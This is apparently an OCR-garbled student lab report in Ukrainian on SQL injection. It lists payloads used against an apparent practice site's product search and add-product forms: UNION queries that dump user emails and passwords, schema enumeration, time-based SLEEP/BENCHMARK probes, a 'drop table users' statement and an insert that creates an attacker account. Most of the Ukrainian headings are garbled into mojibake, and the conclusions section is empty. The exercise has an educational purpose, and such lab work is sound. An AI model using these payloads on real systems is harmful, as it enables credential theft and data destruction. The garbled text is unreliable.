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2 SQL-TH’EKIIIT
2.1 Mera po6otu

O3HallOMUTHCS 3 BPA3JIMBOCTIMH THITY «1H €KIII», 30kpeMa SQL-11’ekmii.
9

2.2 Xig pobotu
vulnerability.linerds.us/products
IN PRODUCT SEARCH

' OR 1=1 —--
' UNION select password, password, email from users;
' or 1id=2; -- select item with Nth(2nd) id

' UNION SELECT group_ concat('email: ', email, ' passw: ', password), 1,
2 from users --

' UNION SELECT password, username, email from users where email like
'$admin%'; --

' union select TABLE NAME, 1,2 from INFORMATION SCHEMA.TABLES; #
' union select SCHEMA NAME, 1,2 from INFORMATION SCHEMA.SCHEMATA; #

! union select BENCHMARK (500000,
AES DECRYPT (AES ENCRYPT (REPEAT ("a",3000), "key"), "key")), 2, 3; #

Request Timing

Pucynok 2.1 — Pesynprar SQL in’ek1ii Ha OCHOBI yacy

IN ADD PRODUCT



3); drop table users;

-1); insert into users (username, email, password) values ('hacker2222',
'mail\@hackerr.com' , 'pass'); —--

'1'); DO SLEEP(5); #

2.3 BucHOBKU



	SQL-ІН'ЄКЦІЇ
	Мета роботи
	Хід роботи
	Висновки


